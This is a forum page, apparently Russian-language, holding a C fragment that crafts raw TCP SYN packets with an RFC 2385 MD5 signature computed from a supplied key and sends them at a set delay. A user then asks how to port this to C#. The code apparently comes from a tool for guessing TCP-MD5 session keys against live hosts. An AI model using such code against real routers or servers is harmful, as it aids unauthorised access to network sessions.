                                  packet.tcp_segment.tcp.doff = sizeof(struct tcp_segment)/4;
                                      
                                  packet.tcp_segment.tcp.res1 = 0;
                                  packet.tcp_segment.tcp.ack = 0;
                                  packet.tcp_segment.tcp.psh = 0;
                                  packet.tcp_segment.tcp.rst = 0;
                                  packet.tcp_segment.tcp.syn = 1; /* Oh yes! */
                                  packet.tcp_segment.tcp.fin = 0;
                               
                                  packet.tcp_segment.tcp.window = htons(rand() % 1401 + 200);
                                  packet.tcp_segment.tcp.urg_ptr = 0;
                               
                                  /* TCP options */
                                  packet.tcp_segment.opt_type = TCPOPT_SIGNATURE;
                                  packet.tcp_segment.opt_len = 2 + MD5_DIGEST_LENGTH;
                                  packet.tcp_segment.eol = TCPOPT_EOL;
                              }
                               
                               
                              void online_pack(char *key)
                              {
                                  struct {
                                      in_addr_t saddr;
                                      in_addr_t daddr;
                                      u_int16_t protocol;
                                      u_int16_t len;
                                      struct tcp_segment tcp_segment;
                                  } pseudo_packet;
                               
                                  MD5_Final( (char *) &packet.tcp_segment.md5_digest,
                                        tcp_sig( (struct iphdr *) &packet, key) );
                               
                                  pseudo_packet.saddr = packet.ip.saddr;
                                  pseudo_packet.daddr = packet.ip.daddr;
                                  pseudo_packet.protocol = htons(packet.ip.protocol);
                                  pseudo_packet.len = htons(ntohs(packet.ip.tot_len) - packet.ip.ihl*4);
                                  memcpy(&pseudo_packet.tcp_segment, &packet.tcp_segment,
                                         sizeof(struct tcp_segment) );
                                  packet.tcp_segment.tcp.check = 0;
                                  packet.tcp_segment.tcp.check = in_cksum(&pseudo_packet,
                                                      sizeof(pseudo_packet) );
                               
                                  sendto(sockfd, &packet, sizeof(packet), 0,
                                      (struct sockaddr *) &sockaddr, sizeof(struct sockaddr_in) );
                               
                                  usleep(options.delay);
                              }


                            что надо дописать в код на C# согласно RFC2385 чтобы это работало?
                            0 пользователей читают эту тему (0 гостей и 0 скрытых пользователей)
                            0 пользователей:


                            Рейтинг@Mail.ru
                            [ Script execution time: 0,0480 ]   [ 16 queries used ]   [ Generated: 2.05.24, 22:27 GMT ]